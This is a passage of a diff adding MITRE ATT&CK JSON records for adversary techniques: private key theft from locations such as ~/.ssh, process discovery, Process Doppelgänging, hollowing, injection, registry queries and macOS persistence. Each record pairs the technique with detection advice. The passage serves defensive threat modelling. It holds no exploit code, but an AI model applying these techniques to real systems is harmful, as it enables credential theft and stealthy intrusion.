+ }, + { + "x_mitre_data_sources": [ + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Private Keys", + "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)", + "id": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach" + ], + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1145", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1145" + }, + { + "source_name": "Wikipedia Public Key Crypto", + "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.", + "url": "https://en.wikipedia.org/wiki/Public-key_cryptography" + }, + { + "source_name": "Kaspersky Careto", + "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.", + "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf" + }, + { + "source_name": "Palo Alto Prince of Persia", + "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/" + } + ], + "modified": "2019-07-18T17:21:52.708Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "Process Discovery", + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n### Windows\n\nAn example command that would obtain details on processes is \"tasklist\" using the [Tasklist](https://attack.mitre.org/software/S0057) utility.\n\n### Mac and Linux\n\nIn Mac and Linux, this is accomplished with the ps command.", + "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "Administrator, SYSTEM may provide better process ownership details" + ], + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:48.728Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1057", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1057" + }, + { + "source_name": "capec", + "external_id": "CAPEC-573", + "url": "https://capec.mitre.org/data/definitions/573.html" + } + ], + "modified": "2019-08-12T19:49:12.584Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "name": "Process Doppelg\u00e4nging", + "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.", + "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-09-24T13:30:04.684Z", + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1186", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1186" + }, + { + "source_name": "Microsoft TxF", + "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx" + }, + { + "source_name": "Microsoft Basic TxF Concepts", + "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx" + }, + { + "source_name": "Microsoft Where to use TxF", + "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx" + }, + { + "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017", + "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.", + "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf" + }, + { + "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017", + "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.", + "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/" + }, + { + "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine", + "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Anti-virus", + "Whitelisting by file name or path", + "Signature-based detection" + ] + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "API monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Process Hollowing", + "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Endgame Process Injection July 2017)", + "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:09.815Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1093", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1093" + }, + { + "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.", + "source_name": "Leitch Hollowing", + "url": "http://www.autosectools.com/process-hollowing.pdf" + }, + { + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "source_name": "Endgame Process Injection July 2017", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Whitelisting by file name or path", + "Signature-based detection", + "Anti-virus" + ] + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM", + "root" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Windows Registry", + "File monitoring", + "DLL monitoring", + "Process monitoring", + "Named Pipes" + ], + "name": "Process Injection", + "description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n### Windows\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)\n\n* **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.\n* **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n### Mac and Linux\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n\n* **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n* **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n* **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n* **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", + "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "modified": "2019-07-18T17:27:02.580Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017)\n\nMonitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)\n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)\n\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Anastasios Pingios", + "Christiaan Beek, @ChristiaanBeek", + "Ryan Becwar" + ], + "created": "2017-05-31T21:30:47.843Z", + "x_mitre_effective_permissions": [ + "User", + "Administrator", + "SYSTEM", + "root" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1055", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055" + }, + { + "source_name": "capec", + "external_id": "CAPEC-640", + "url": "https://capec.mitre.org/data/definitions/640.html" + }, + { + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Endgame HuntingNMemory June 2017", + "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/hunting-memory" + }, + { + "source_name": "Microsoft APC", + "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx" + }, + { + "source_name": "CyberBit Early Bird Apr 2018", + "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.", + "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/" + }, + { + "source_name": "ENSIL AtomBombing Oct 2016", + "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.", + "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows" + }, + { + "source_name": "Microsoft Atom Table", + "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx" + }, + { + "source_name": "FireEye TLS Nov 2017", + "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" + }, + { + "source_name": "Datawire Code Injection", + "description": "Turner-Trauring, I. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.", + "url": "https://www.datawire.io/code-injection-on-linux-and-macos/" + }, + { + "source_name": "Uninformed Needle", + "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.", + "url": "http://hick.org/code/skape/papers/needle.txt" + }, + { + "source_name": "Phrack halfdead 1997", + "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.", + "url": "http://phrack.org/issues/51/8.html" + }, + { + "source_name": "VDSO hijack 2009", + "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved December 20, 2017.", + "url": "http://vxer.org/lib/vrn00.html" + }, + { + "source_name": "ArtOfMemoryForensics", + "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017." + }, + { + "source_name": "GNU Acct", + "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", + "url": "https://www.gnu.org/software/acct/" + }, + { + "source_name": "RHEL auditd", + "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", + "url": "https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing" + }, + { + "source_name": "Chokepoint preload rootkits", + "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", + "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html" + }, + { + "source_name": "Microsoft Sysmon v6 May 2017", + "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Anti-virus" + ] + }, + { + "x_mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "Query Registry", + "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:25.584Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1012", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1012" + }, + { + "source_name": "capec", + "external_id": "CAPEC-647", + "url": "https://capec.mitre.org/data/definitions/647.html" + }, + { + "source_name": "Wikipedia Windows Registry", + "description": "Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.", + "url": "https://en.wikipedia.org/wiki/Windows_Registry" + } + ], + "modified": "2019-08-12T19:53:51.766Z" + }, + { + "x_mitre_permissions_required": [ + "root" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "name": "Rc.common", + "description": "During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).", + "id": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1163", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1163" + }, + { + "source_name": "Startup Items", + "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ], + "modified": "2019-07-18T17:28:22.742Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "File monitoring" + ], + "name": "Re-opened Applications", + "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", + "id": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1164", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1164" + }, + { + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "source_name": "Methods of Mac Malware Persistence", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ], + "modified": "2019-06-25T11:28:26.938Z" + }, + { + "x_mitre_data_sources": [ + "Office 365 account logs", + "Azure activity logs", + "AWS CloudTrail logs", + "Stackdriver logs", + "Process monitoring", + "Process use of network", + "Packet capture", + "Network protocol analysis", + "File monitoring", + "Authentication logs", + "Binary file metadata" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "Redundant Access", + "description": "Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.", + "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "modified": "2019-10-09T20:08:19.625Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure", + "Office 365", + "SaaS", + "Azure AD" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2017-05-31T21:31:18.867Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1108", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1108" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "x_mitre_defense_bypassed": [ + "Network intrusion detection system", + "Anti-virus" + ] + }, + { + "x_mitre_data_sources": [ + "Windows Registry", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Registry Run Keys / Startup 